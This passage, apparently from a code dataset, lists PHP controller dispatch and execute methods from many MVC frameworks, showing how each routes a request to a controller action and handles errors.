null, $args = array()) {\n\t\t$this->_loadListeners();\n\n\t\t$this->_action = $controllerAction ?: $this->_action;\n\n\t\t$action = $this->_action;\n\t\tif (empty($args)) {\n\t\t\t$args = $this->_request->params['pass'];\n\t\t}\n\n\t\ttry {\n\t\t\t$subject = $this->trigger('beforeHandle', compact('args', 'action'));\n\n\t\t\t$response = $this->action($subject->action)->handle($subject);\n\t\t\tif ($response instanceof CakeResponse) {\n\t\t\t\treturn $response;\n\t\t\t}\n\t\t} catch (Exception $e) {\n\t\t\tif (isset($e->response)) {\n\t\t\t\treturn $e->response;\n\t\t\t}\n\n\t\t\tthrow $e;\n\t\t}\n\n\t\t$view = $this->action($action)->view();\n\t\treturn $this->_controller->response = $this->_controller->render($view);\n\t}", "protected function doExecute()\n\t{\n\t\t$controller = $this->getController();\n\n\t\t$controller = new $controller($this->input, $this);\n\n\t\t$this->setBody($controller->execute());\n\t}", "private function run()\n {\n $dispatcher = $this->getDispatcher(self::getConfigSection('routes'));\n\n $routeInfo = $dispatcher->dispatch(self::getRequest('method'), self::getRequest('path'));\n\n switch ($routeInfo[0]) {\n case \\FastRoute\\Dispatcher::NOT_FOUND:\n $this->errorNotFound();\n break;\n case \\FastRoute\\Dispatcher::METHOD_NOT_ALLOWED:\n $this->error405();\n break;\n case \\FastRoute\\Dispatcher::FOUND:\n $this->actionParams = $routeInfo[2];\n $handler = explode('.', $routeInfo[1]);\n $this->controllerName = 'app\\controllers\\\\' . ucfirst($handler[0]) . 'Controller';\n $controllerFile = ucfirst($handler[0]) . 'Controller.php';\n $this->actionName = 'action' . ucfirst($handler[1]);\n $this->actionSlug = $handler[0] . '.' . $handler[1];\n if (!file_exists(self::$request['root_path'] . '/app/controllers/' . $controllerFile) ||\n !method_exists($this->controllerName, $this->actionName)) {\n //there is not a controller file or action name == index\n if (App::getConfig('app.debug')) {\n echo 'There is not a controller file \"' . $controllerFile . '\" or action name == index';\n }\n $this->errorNotFound();\n }\n if (isset($handler[2])) {\n //part of hangler for checking permissions\n if ($handler[2] == 'auth') {\n //need login and not logged\n if (App::isGuest()) {\n $this->redirect(App::getConfig('app.login_url'));\n }\n } else {\n //check permission for $handler[2]\n $auth = self::getComponent('auth');\n $user = self::getUser();\n $checkUser = $user ? $auth->hasAccessTo($user->email, $handler[2]) : false;\n if (!$checkUser) {\n //user does not exists or user does not have a permission\n $this->error405();\n }\n }\n }\n break;\n }\n $this->startAction();\n }", "public function run()\n {\n $this->get('/', array($this, 'dispatchController'));\n $this->map('(/:module(/:controller(/:action(/:params+))))', array($this, 'dispatchController'))\n ->via('GET', 'POST')\n ->name('default');\n parent::run();\n }", "public function execute()\n\t{\n\t\t// Create the class prefix\n\t\t$prefix = 'controller_';\n\n\t\tif ( ! empty($this->directory))\n\t\t{\n\t\t\t// Add the directory name to the class prefix\n\t\t\t$prefix .= str_replace(array('\\\\', '/'), '_', trim($this->directory, '/')).'_';\n\t\t}\n\n\t\tif (Kohana::$profiling === TRUE)\n\t\t{\n\t\t\t// Start benchmarking\n\t\t\t$benchmark = Profiler::start('Requests', $this->uri);\n\t\t}\n\n\t\ttry\n\t\t{\n\t\t\t// Load the controller using reflection\n\t\t\t$class = new ReflectionClass($prefix.$this->controller);\n\n\t\t\tif ($class->isAbstract())\n\t\t\t{\n\t\t\t\tthrow new Kohana_Exception('Cannot create instances of abstract :controller',\n\t\t\t\t\tarray(':controller' => $prefix.$this->controller));\n\t\t\t}\n\n\t\t\t// Create a new instance of the controller\n\t\t\t$controller = $class->newInstance($this);\n\n\t\t\t// Execute the \"before action\" method\n\t\t\t$class->getMethod('before')->invoke($controller);\n\n\t\t\t// Determine the action to use\n\t\t\t$action = empty($this->action) ? Route::$default_action : $this->action;\n\t\t\t\n\t\t\t// Ensure the action exists, and use __call() if it doesn't\n\t\t\tif ($class->hasMethod('action_'.$action))\n\t\t\t{\n\t\t\t\t// Execute the main action with the parameters\n\t\t\t\t$class->getMethod('action_'.$action)->invokeArgs($controller, $this->_params);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$class->getMethod('__call')->invokeArgs($controller,array($action,$this->_params));\n\t\t\t}\n\n\t\t\t// Execute the \"after action\" method\n\t\t\t$class->getMethod('after')->invoke($controller);\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\tif (isset($benchmark))\n\t\t\t{\n\t\t\t\t// Delete the benchmark, it is invalid\n\t\t\t\tProfiler::delete($benchmark);\n\t\t\t}\n\n\t\t\tif ($e instanceof ReflectionException)\n\t\t\t{\n\t\t\t\t// Reflection will throw exceptions for missing classes or actions\n\t\t\t\t$this->status = 404;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// All other exceptions are PHP/server errors\n\t\t\t\t$this->status = 500;\n\t\t\t}\n\n\t\t\t// Re-throw the exception\n\t\t\tthrow $e;\n\t\t}\n\n\t\tif (isset($benchmark))\n\t\t{\n\t\t\t// Stop the benchmark\n\t\t\tProfiler::stop($benchmark);\n\t\t}\n\n\t\treturn $this;\n\t}", "public function run($action) {\n\t\t$methodName = $this->getActionPrefix() . $action;\n\t\tif (!method_exists($this, $methodName)) {\n\t\t\tthrow new ControllerException('Action ' . $methodName . ' does not exist in ' . get_class($this),\n\t\t\t\tControllerException::ERR_ACTION_NOT_FOUND);\n\t\t}\n\t\tif (Config::getInstance()->get('system.performStrictControllerActionNameValidation', false)) {\n\t\t\t$reflection = new \\ReflectionClass($this);\n\t\t\t$method = $reflection->getMethod($methodName);\n\t\t\tif ($method->name != $methodName) {\n\t\t\t\tthrow new ControllerException('Invalid case when running action ' . $methodName . ' in '\n\t\t\t\t\t. get_class($this) . '. The valid case is: ' . $method->name,\n\t\t\t\t\tControllerException::ERR_ACTION_NOT_FOUND);\n\t\t\t}\n\t\t}\n\t\t$this->before();\n\t\t$result = $this->runAction($methodName);\n\t\tif (!empty($result) && !is_string($result) && !($result instanceof ViewAbstract)) {\n\t\t\tthrow new ControllerException('Result of the action (' . get_class($this) . '/' . $action\n\t\t\t\t\t. ') is not an instance of ViewAbstract or string',\n\t\t\t\tControllerException::ERR_INVALID_ACTION_RESULT);\n\t\t}\n\n\t\t// We called the run method, but we did not rendered the output yet\n\t\t$this->runBeforeRender();\n\n\t\t$this->runBeforeResponseSet($result);\n\n\t\tif (!empty($result)) {\n\t\t\tif (is_string($result)) {\n\t\t\t\t$this->response->setRenderedBody($result);\n\t\t\t} else {\n\t\t\t\t$this->response->setBody($result);\n\t\t\t}\n\t\t}\n\t\t$this->after();\n\t}", "public function getControllerAction()\n\t{\n\t\tif (file_exists('Controller/' . $this->class_Name . 'Controller.php')) {\n\t\t\tinclude_once 'Controller/' . $this->class_Name . 'Controller.php';\n\t\t\t$executeClass = new $this->class_Name;\n\t\t\t$executeAction = $this->action_Name;\n\t\t} else {\n\t\t\t$this->pageDontExist();\n\t\t}\n\t\tif (method_exists($executeClass, $executeAction)) {\n\t\t\t$executeClass->$executeAction();\n\t\t\t}\n\t}", "public function executeRequest() {\n $this->splitURL();\n $this->validateRequest();\n\n // Create controller to dispatch our request, eg new BlogsController\n // Note format eg $dispatch = new BlogsController('Blog', 'blogs', 'index')\n $model = ucwords(rtrim($this->controller, 's'));\n $controller = ucwords($this->controller) . 'Controller';\n $dispatch = new $controller($model, $this->controller, $this->action);\n\n // Execute\n if (!isset($this->parameter1)) {\n call_user_func(array($dispatch, $this->action));\n } else if (!isset($this->parameter2)) {\n call_user_func(array($dispatch, $this->action), $this->parameter1);\n } else if (!isset($this->parameter3)) {\n call_user_func(array($dispatch, $this->action), $this->parameter1, $this->parameter2);\n } else {\n call_user_func(array($dispatch, $this->action), $this->parameter1, $this->parameter2, $this->parameter3);\n }\n }", "public function getControllerAction() {}", "public function run()\n {\n $routeInfo = $this->foundRoute();\n\n if (isset($routeInfo['middleware'])) {\n $middleware = $this->gatherMiddlewareClassNames($routeInfo['middleware']);\n $this->runMiddleware($middleware);\n }\n $response = $this->callControllerAction($routeInfo);\n\n $this->sendRequest($this->response ?: $response);\n\n }", "public function run() {\n\n if(method_exists($this, $this->action)) {\n $output = call_user_func_array(array($this, $this->action), (array)$this->arguments);\n } else {\n raise('invalid controller action: ' . $this->action);\n }\n\n // if the controller has a valid layout\n // render that instead of the output generated by the action\n if(!$output and $layout = $this->layout) {\n $output = $layout->render($this->format); \n } \n\n if(is_a($output, 'Kirby\\\\Toolkit\\\\Response')) {\n return $output;\n } else {\n return new Response($output, $this->format);\n }\n\n }", "public function execute() {\n\t\t\t$response = Response::factory($this);\n\t\t\t\n\t\t\t$controller = $this->route->controller();\n\t\t\tif($controller !== null) {\n\t\t\t\t$this->controller = Controller::factory($controller, $response);\n\t\t\t\t\n\t\t\t\ttry {\n\t\t\t\t\t$response->data($this->controller->execute());\n\t\t\t\t} catch(\\Exception $e) {\n\t\t\t\t\t$response->data('<div class=\"Frawst-Debug\">'.\n\t\t\t\t\t\t'<h1>A Controller Problem Occurred!</h1>'.\n\t\t\t\t\t\t'<pre>'.$e.'</pre></div>');\n\t\t\t\t}\n\t\t\t\n\t\t\t\t$this->controller = null;\n\t\t\t} else {\n\t\t\t\tif($this->route->template() === null) {\n\t\t\t\t\t$response->notFound();\n\t\t\t\t}\n\t\t\t\t$response->data(null);\n\t\t\t}\n\t\t\t\n\t\t\treturn $response;\n\t\t}", "public function dispatch()\n {\n $data = $this->router->getData();;\n $c = $data->controller;\n $ref = new $c($data->params);\n $a = $data->action;\n if (!is_null($a) && !empty($a)) call_user_func(array($ref, $a));\n return;\n }", "public function controller()\r\n {\r\n $collector = $this->getControllerCollector();\r\n \r\n foreach (func_get_args() as $controller) {\r\n call_user_func([$collector, 'controller'], $controller);\r\n }\r\n }", "public function didInvokeAction(string $action, ControllerResultInterface $result): void;", "public function execute()\n {\n $action = $this->action ?: '__index';\n $params = (array) $this->params;\n\n $response = $this->__preAction($action, $params);\n if ($response !== false) {\n $response = call_user_func_array(array($this, $action), $params);\n }\n\n $response = $this->__postAction($action, $params, $response) ?: $response;\n\n return $response ?: new \\Gini\\CGI\\Response\\Nothing();\n }", "public function dispatch ()\n {\n\n try\n {\n\n // initialize the controller\n $this->initialize();\n\n // get the application context\n $context = $this->getContext();\n\n // determine our module and action\n $moduleName = $context->getRequest()\n ->getParameter(MO_MODULE_ACCESSOR);\n\t\t\t\n\n $actionName = $context->getRequest()\n ->getParameter(MO_ACTION_ACCESSOR);\n\n if ($moduleName == null)\n {\n\n // no module has been specified\n $moduleName = MO_DEFAULT_MODULE;\n\n }\n\n if ($actionName == null)\n {\n\n // no action has been specified\n if ($this->actionExists($moduleName, 'Index'))\n {\n\n // an Index action exists\n $actionName = 'Index';\n\n } else\n {\n\n // use the default action\n $actionName = MO_DEFAULT_ACTION;\n\n }\n\n }\n\n // make the first request\n $this->forward($moduleName, $actionName);\n\n } catch (MojaviException $e)\n {\n\n $e->printStackTrace();\n\n } catch (Exception $e)\n {\n\n // most likely an exception from a third-party library\n $e = new MojaviException($e->getMessage());\n\n $e->printStackTrace();\n\n }\n\n }", "function performAction($action)\n{\n\trequire_once(SITE_DIR.'_classes/_factory/_ActionFactory.php');\n\t$action = ActionFactory::createAction($action);\n\t$result = $action->execute();\n}", "public function invoke() {\r\n $this->action = Util::getAction($this->action);\r\n \r\n switch ($this->action) {\r\n case 'customer_login':\r\n $this->processCustomerLogin();\r\n break;\r\n case 'get_customer':\r\n $this->processGetCustomer();\r\n break;\r\n case 'show_registration':\r\n $this->processShowRegistration();\r\n break;\r\n case 'register_product':\r\n $this->processRegisterProduct();\r\n break;\r\n case 'logout':\r\n $this->processLogout();\r\n break;\r\n default:\r\n $this->processCustomerLogin();\r\n break;\r\n }\r\n }", "protected function callActionMethod() {}", "public function process() {\r\n if(!in_array($this->getRouter()->getAction(), $this->getAllowActions()) || $this->getRouter()->getAction() == null) {\r\n $this->defaultAction();\r\n } else {\r\n $customAction = $this->getRouter()->getAction().Globals::getConfig()->action->suffix;\r\n $this->$customAction();\r\n }\r\n }", "public function doAction() {\n $action = $this->action;\n\n if ($this->beforeDoAction() == false) return;\n\n if (empty($action) || method_exists($this, $action) == false) {\n $this->defaultAction();\n return;\n }\n\n //2. do the method in action\n $this->$action();\n $this->afterDoAction();\n }", "public function execute()\n\t{\n\t\t// Create the class prefix\n\t\t$prefix = 'controller_';\n\n\t\tif ($this->directory)\n\t\t{\n\t\t\t// Add the directory name to the class prefix\n\t\t\t$prefix .= str_replace(array('\\\\', '/'), '_', trim($this->directory, '/')).'_';\n\t\t}\n\n\t\tif (Kohana::$profiling)\n\t\t{\n\t\t\t// Set the benchmark name\n\t\t\t$benchmark = '\"'.$this->uri.'\"';\n\n\t\t\tif ($this !== Request::$instance AND Request::$current)\n\t\t\t{\n\t\t\t\t// Add the parent request uri\n\t\t\t\t$benchmark .= ' « \"'.Request::$current->uri.'\"';\n\t\t\t}\n\n\t\t\t// Start benchmarking\n\t\t\t$benchmark = Profiler::start('Requests', $benchmark);\n\t\t}\n\n\t\t// Store the currently active request\n\t\t$previous = Request::$current;\n\n\t\t// Change the current request to this request\n\t\tRequest::$current = $this;\n\n\t\ttry\n\t\t{\n\t\t\t// Load the controller using reflection\n\t\t\t$class = new ReflectionClass($prefix.$this->controller);\n\n\t\t\tif ($class->isAbstract())\n\t\t\t{\n\t\t\t\tthrow new Kohana_Exception('Cannot create instances of abstract :controller',\n\t\t\t\t\tarray(':controller' => $prefix.$this->controller));\n\t\t\t}\n\n\t\t\t// Create a new instance of the controller\n\t\t\t$controller = $class->newInstance($this);\n\n\t\t\t// Execute the \"before action\" method\n\t\t\t$class->getMethod('before')->invoke($controller);\n\n\t\t\t// Determine the action to use\n\t\t\t$action = empty($this->action) ? Route::$default_action : $this->action;\n\n\t\t\t// Execute the main action with the parameters\n\t\t\t$class->getMethod('action_'.$action)->invokeArgs($controller, $this->_params);\n\n\t\t\t// Execute the \"after action\" method\n\t\t\t$class->getMethod('after')->invoke($controller);\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\t// Restore the previous request\n\t\t\tRequest::$current = $previous;\n\n\t\t\tif (isset($benchmark))\n\t\t\t{\n\t\t\t\t// Delete the benchmark, it is invalid\n\t\t\t\tProfiler::delete($benchmark);\n\t\t\t}\n\n\t\t\tif ($e instanceof ReflectionException)\n\t\t\t{\n\t\t\t\t// Reflection will throw exceptions for missing classes or actions\n\t\t\t\t$this->status = 404;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// All other exceptions are PHP/server errors\n\t\t\t\t$this->status = 500;\n\t\t\t}\n\n\t\t\t// Re-throw the exception\n\t\t\tthrow $e;\n\t\t}\n\n\t\t// Restore the previous request\n\t\tRequest::$current = $previous;\n\n\t\tif (isset($benchmark))\n\t\t{\n\t\t\t// Stop the benchmark\n\t\t\tProfiler::stop($benchmark);\n\t\t}\n\n\t\treturn $this;\n\t}", "protected static function runController()\n {\n $msg = new MoovicoRequestMessage(self::$route);\n self::$response = self::doRunController($msg);\n }", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function _doAction();", "public function launch() {\r\n\t\t// Check if the requested class exists\r\n\t\tif(class_exists($this->class)) {\r\n\t\t\t// It is, create a new instance\r\n\t\t\t$this->action_instance = new $this->class($this);\r\n\t\t\t\r\n\t\t\t// Check for action authentication\r\n\t\t\tif( !$this->action_instance->checkAuth() ) {\r\n\t\t\t // Authentication failed! Terminate the script\r\n\t\t\t error('no_auth');\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t// Check if the requested method exists\r\n\t\t\tif( is_callable(array($this->action_instance, $this->method))) {\r\n\t\t\t\t// It is, launch it\r\n\t\t\t\t$this->action_instance->{$this->method}();\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t// The requested method does not exist, display an error\r\n\t\t\t\treturn error('The requested method does not exist!', false);\r\n\t\t\t}\r\n\t\t}\r\n\t\telse {\r\n\t\t\t// The requested class does not exist, display an error\r\n\t\t\treturn error('The requested controller does not exist!', false);\r\n\t\t}\r\n\t}", "public function dispatch()\n\t{\n\t\t$this->{$this->_action}();\n\t}", "public function process() {\n // on va lui passer le contexte en premier paramètre\n // puis on va lui passer les paramètres du path comme\n // paramètres supplémentaires\n $args = array_merge(\n array($this->_context),\n $this->_context->route->params\n );\n\n $this->_context->require_part('controller', $this->controller);\n $controller = new $this->controller;\n\n // CALL STAGES BEFORE ACTION\n\n $stages = array(\n '_before_action'\n );\n\n $_response = null;\n $responses_stack = array();\n\n foreach($stages as $stage) {\n $_response = $this->call_stage($controller,$stage,$this->action, $responses_stack);\n\n // Si on obtient un objet de type Response, on stoppe\n\n if($_response instanceof Response) {\n return $this->output($_response); // ! RETURN\n }\n else {\n $responses_stack[$stage] = $_response;\n }\n }\n\n\n // CALL ACTION\n if(! method_exists($controller, $this->action)) {\n throw new \\InvalidArgumentException('Action '.$this->action.' does not exists in controller '. get_class($controller));\n }\n $action_response = call_user_func_array(array($controller, $this->action), $args);\n\n if($action_response instanceof Response) {\n return $this->output($action_response); // ! RETURN\n }\n\n\n if(is_null($action_response)) {\n // si la réponse est nulle, on ne fait rien tout simplement\n //@todo : faire autre chose, envoyer un 204 ?\n $class = get_class($controller);\n r(\"@todo : empty $class return\");\n return; // ! RETURN\n }\n elseif(is_string($action_response)) {\n $response = new Response($action_response, $headers=array());\n return self::output($response); // ! RETURN\n }\n\n\n }", "public function handle($action) {\n $callback = $this->resolve_controller_callback($action);\n $response = $this->generate_response($callback);\n $this->send_response($response);\n }", "public function execute($action)\n\t{\n\t\ttry\n\t\t{\n\t\t\tparent::execute($action);\n\t\t}\n\t\tcatch (OAuth2_Exception_InvalidToken $e)\n\t\t{\n\t\t\t$this->request->redirect('session/login');\n\t\t}\n\t}", "public function executeAction()\n\t{\n\t\t$action = request()->input('action');\n\n\t\tif (in_array($action, $this->actions))\n\t\t{\n\t\t\tforeach (request()->input('rows', []) as $row)\n\t\t\t{\n\t\t\t\t$this->transactions->{$action}($row);\n\t\t\t}\n\n\t\t\treturn response('Success');\n\t\t}\n\n\t\treturn response('Failed', 500);\n\t}", "abstract public function doAction($argv);", "public function execute()\n {\n // init container.\n $this->initContainer();\n\n // routing\n $this->routing();\n\n // action chain.\n while ($action = $this->actionChain->getCurrentAction()) {\n\n // clear.\n $this->filterChain->clear();\n $this->container->register('errorList', $this->actionChain->getCurrentErrorList());\n\n $this->filterChain->setAction($action['controller'], $action['action']);\n $this->filterChain->build();\n $this->filterChain->execute();\n\n $this->actionChain->next();\n }\n\n // response.\n $this->response->execute();\n }", "function execute(){\n $method = strtolower( $this->getRequest()->getMethod() );\n\n if( !method_exists( $this, $method ) )\n throw new RoutingException( \"Controller not implement {$method} method.\" );\n\n $result = call_user_func_array( array( $this, $method ), func_get_args() );\n\n if( is_array($result) ){\n $this->assignParams( $result );\n }\n }", "function call($controller, $action) {\n require_once('controller/'. $controller .'_controller.php');\n\n\n // create a new instance of the needed controller\n switch($controller) {\n case 'admin':\n $controller = new AdminController();\n break;\n case 'movie':\n // we need the model to query the database later in the controller\n require_once('model/movie.php');\n $controller = new MovieController();\n break;\n case 'layout':\n // we need the model to query the database later in the controller\n require_once('model/layout.php');\n $controller = new LayoutController();\n break;\n case 'cinema':\n // we need the model to query the database later in the controller\n require_once('model/cinema.php');\n $controller = new CinemaController();\n break;\n case 'schedule':\n // we need the model to query the database later in the controller\n require_once('model/schedule.php');\n require_once('model/cinema.php');\n require_once('model/layout.php');\n require_once('model/movie.php');\n $controller = new ScheduleController();\n break;\n case 'user':\n require_once('model/schedule.php');\n require_once('model/cinema.php');\n require_once('model/layout.php');\n require_once('model/movie.php');\n require_once('model/ticket.php');\n $controller = new UserController();\n break;\n\n }\n\n // call the action\n $controller->{ $action }();\n }", "public function execute() {\n if ( $this->mInternalMode ) {\n $this->executeAction();\n } else {\n $this->executeActionWithErrorHandling();\n }\n }", "public function dispatch()\n {\n $this->response = $this->frontController->execute();\n }", "public function performAction()\n {\n if (isset($_SESSION['user_id'])) {\n $this->_userLoggedIn();\n } else if (isset($_POST['signin'])) {\n $this->_signInRequested();\n } else if (isset ($_POST['signup'])) {\n $this->_signUpPageRequested();\n } else {\n $this->_noActionTaken();\n }\n }", "public function DispatchControllerAction (\n\t\t$controllerClassFullName,\n\t\t$actionNamePc,\n\t\t$viewScriptFullPath,\n\t\tcallable $exceptionCallback\n\t);", "protected function run($action) {\n\t\tif (method_exists($this, $action)) {\n\n\t\t\t$this->action = $action;\n\n\t\t\t$this->createView();\n\n\t\t\t$this->$action();\n\t\t} else {\n\n\t\t\tApp::do404('Action ' . $action . ' not found in ' . $this->name);\n\t\t}\n\t}", "public function execute() : string\n {\n $actionId = $this->getRequest()->get('header.X-Osynapsy-Action');\n $actionParameters = $this->getRequest()->get('post.actionParameters');\n list($controllerHandle, $defaultAction) = $this->controllerFactory($this->route->controller, $this);\n return (string) $this->runAction($controllerHandle, $defaultAction, $actionId, $actionParameters ?? []);\n }", "private function executeHandle() {\n // call hook function\n is_callable(config('hooks.onExecute')) && call_user_func(config('hooks.onExecute'), $this);\n // execute controller\n $this->router->executeController();\n }", "function call($controller, $action)\n{\n $tmp_controller = \"\";\n $tmp_action = \"\";\n\n if (isset($controller)) {\n if (file_exists('app/controllers/' . $controller . '_controller.php')) {\n\n $tmp_controller = $controller;\n\n //REQUIRE THE CONTROLLER\n require_once('controllers/' . $controller . '_controller.php');\n\n }else{\n $tmp_controller = $controller = 'main';\n\n //REQUIRE THE CONTROLLER\n require_once('controllers/' . $controller . '_controller.php');\n }\n }else {\n //If Controller is not set\n $tmp_controller = 'main';\n }\n\n //Create an object with the controller\n $controller_obj = ucfirst($controller) . 'Controller';\n\n $controller = new $controller_obj;\n\n //CHECK IF METHOD EXISTS IN THE CONTROLLER\n if(isset($action))\n {\n if(method_exists($controller, $action))\n {\n $tmp_action = $action;\n }else{\n $tmp_action = 'home';\n }\n }\n\n $controller->{ $tmp_action }();\n}", "function execute()\n\t{\n\t\t// Call controller method\n\t\t// echo \"METHOD: \" . $this->method;\n\t\t// return;\n\t\teval(\"\\$this->\" . $this->method . \"();\");\n\t}", "public function handleAction($actionName, array $values);", "public function executeAction( $action, $getParams = array() );", "public function action($action, $controller, $params=array()){\n\t\treturn mvc_service_Front::getInstance()->dispatchAction($action, $controller, $params);\n\t}", "public function execute()\n {\n $path=$this->getPath();\n try\n {\n Log::info('Trying module '.$this->module);\n \t$this->page = $this->moduleInstance($this->module,$path,$this->params);\n\n \ttry\n \t{\n Log::info('Trying action '.$this->action);\n \t\t $this->page->executeAction($this->action);\n \t}\n catch (SecurityException $e) {\n $this->handleSecurity();\n }\n catch (Error404Exception $e) {\n $this->returnActionNotFound();\n }\n catch (Exception $e)\n {\n Log::info('Action '.$this->action.' rejected for module '.$this->module.', trying index instead ');\n Log::info('Reason : '.$e->getMessage());\n $this->page->handleException($e);\n }\n\n }\n catch (Error404Exception $e) {\n\n $this->returnModuleNotFound();\n }\n catch (SecurityException $e) {\n $this->handleSecurity();\n }\n catch (Exception $e)\n {\n\n Log::info('Error module '.$this->module.'. Revealing as 404');\n \t $this->page = $this->moduleInstance('error',$path);\n $this->page->executeAction('404');\n }\n Log::info($this->module.'/'.$this->action.' executed successfully');\n }", "private static function dispatchAction($controller, $action = null) {\n\t\t//$_GET = self::filterGET();\n\t\t// Is er een action meegegeven, anders standaard actie gebruiken\n\t\tif ($action === null) {\n\t\t\t$action = self::getAction($controller);\n\t\t}\n\t\t\n\t\t// Als de action niet bestaat een ActionDoesNotExistException throwen\n\t\tif (!method_exists($controller, $action)) {\n\t\t\tthrow new ActionDoesNotExistException();\n\t\t\t//sreturn false;\n\t\t}\n\t\t\n\t\t// Call the before filter method\n\t\t$controller->beforeFilter();\n\t\t\n\t\t// Checken welke parameters de methode heeft, en welke vereist zijn en welke niet.\n\t\t$ref = new ReflectionMethod($controller, $action);\n\t\t$params = $ref->getParameters();\n\t\t$required = 0;\n\t\t\n\t\t// Als er parameters vereist zijn\n\t\tif (count($params) > 0) {\n\t\t\tforeach($params as $param) {\n\t\t\t\tif (!$param->isOptional()) {\n\t\t\t\t\t$required++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t$params = self::getParams($_GET, $controller);\n\t\t\t\n\t\t\t// Als het aantal gegeven parameters kleiner is dan het aantal vereiste parameters, dan zijn er parameters te kort.\n\t\t\tif (count($params) < $required) {\n\t\t\t\tthrow new MissingArgumentsException();\n\t\t\t}\n\t\t\telse {\n\t\t\t\tswitch(count($params)) {\n\t\t\t\t\tcase 1:\n\t\t\t\t\t\t$controller->{$action}($params[0]);\n\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\tcase 2:\n\t\t\t\t\t\t$controller->{$action}($params[0], $params[1]);\n\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\tcase 3:\n\t\t\t\t\t\t$controller->{$action}($params[0], $params[1], $params[2]);\n\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\tcase 4:\n\t\t\t\t\t\t$controller->{$action}($params[0], $params[1], $params[2], $params[3]);\n\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tcall_user_func_array(array($controller, $action), $params);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t// Voer een action uit zonder parameters\n\t\t\t$controller->{$action}();\n\t\t}\n\t\t\n\t\t// Call the afterFilter method\n\t\t$controller->afterFilter();\n\t}", "public function indexAction()\n {\n $ctrl = $this->dbController->find($this->checkControllerIdParam());\n $vCtrl = FALSE;\n $vAction = array();\n\n IF($ctrl->count() === 1) {\n $ctrlRow = new Admin_Model_DbRow_Controller($ctrl->current());\n\n FOREACH($this->dbAction->findActionByControllerId($ctrlRow->get('id')) AS $row) {\n $vAction[] = new Admin_Model_DbRow_Action($row);\n }\n\n $vCtrl = $ctrlRow;\n }\n \n $this->view->controller = $vCtrl;\n $this->view->actions = $vAction;\n }", "function handleAction(){\n\t\n\t$controller = getController();\n\t$viewState = getViewState();\t\n\n\t// ************************ THE FRONT CONTROLLER *********************** //\n\tif ( isset ($_GET[ ACTION_KEY ]) ){\n\n\t\tswitch ($_GET[ ACTION_KEY ]) {\n\t\t \n\t\t case 'deletetodo':\n\t\t \n\t\t $controller->deleteToDo( $_GET[ 'id' ] );\n\n\t\t $viewState->setView('list.php');\n\t\t \t$viewState->setData( $controller->listToDo() );\n\n\t\t \t$viewState->setResponse('The Todo Was Deleted', 'success');\n\t\t \n\t\t break;\n\n\t\t case 'edittodo':\n\n\t\t \t$viewState->setView('edit.php');\n\t\t \t$viewState->setData( $controller->getToDo( $_GET[ 'id' ] ) );\n\n\t\t break;\n\n\t\t case 'savetodo':\n\n\t\t \t// handle the checkbox\n\t\t \tif( !isset( $_POST['complete'] ) ){\n\t\t \t\t$_POST['complete'] = false;\n\t\t \t} else {\n\t\t \t\t$_POST['complete'] = true;\n\t\t \t}\n\n\t\t \t$controller->saveToDo($_POST);\n\n\t\t $viewState->setView('list.php');\n\t\t \t$viewState->setData( $controller->listToDo() );\n\n\t\t \t$viewState->setResponse('The Todo Was Saved', 'success');\n\n\t\t break;\n\n\t\t case 'deletecompleted':\n\n\t\t \t$controller->deleteCompleted();\n\n\t\t \t$viewState->setView('list.php');\n\t\t \t$viewState->setData( $controller->listToDo() );\n\n\t\t \t$viewState->setResponse('Completed ToDos Were Cleared', 'info');\n\n\t\t \tbreak;\n\t\t \n\t default:\n\t \n\t $viewState->setView('list.php');\n\t\t $viewState->setData( $controller->listToDo() );\n\t\t}\n\t} else {\n\n\t\t$viewState->setView('list.php');\n\t\t$viewState->setData( $controller->listToDo() );\t\n\t}\n}", "public function execute()\n\t{\n\t $jobcode = $this->getRequest()->getParam('jobcode');\n\t $this->schedule->executeImmediate($jobcode);\n\t return $this->resultRedirectFactory->create()->setUrl($this->getUrl(\"*/*/index\"));\n\t}", "function execute($action) {\r\n // Use system set of templates\r\n $this->addHelper('form', 'format', 'html', 'page', 'pagination', 'url');\r\n \r\n // Use controller template if exists\r\n if($this->engine->helperExists($this->getControllerName())) {\r\n $this->addHelper($this->getControllerName());\r\n } // if\r\n \r\n try {\r\n $execution = parent::execute($action);\r\n if($this->getAutoRender()) {\r\n if(is_array($execution)) {\r\n $this->assignToView($execution);\r\n } // if\r\n $this->render(); // Auto render?\r\n } // if\r\n } catch(Angie_Controller_Error_ActionDnx $e) {\r\n $view_name = $action;\r\n $layout_name = $this->getControllerName();\r\n \r\n if($this->getAutoRender() && $this->engine->viewExists($view_name, $layout_name)) {\r\n $this->setView($view_name);\r\n $this->setLayout($layout_name);\r\n \r\n $this->render();\r\n } else {\r\n throw $e; // rethrow\r\n } // if\r\n } catch(Exception $e) {\r\n throw $e;\r\n } // try\r\n }", "public function forward($action,$controller = null)\n {\n if($controller === null)\n {\n $this->action=$action;\n $this->view->changeAction($action);\n $this->execute();\n }\n else\n {\n $controllerName=ucfirst($controller);\n $className = 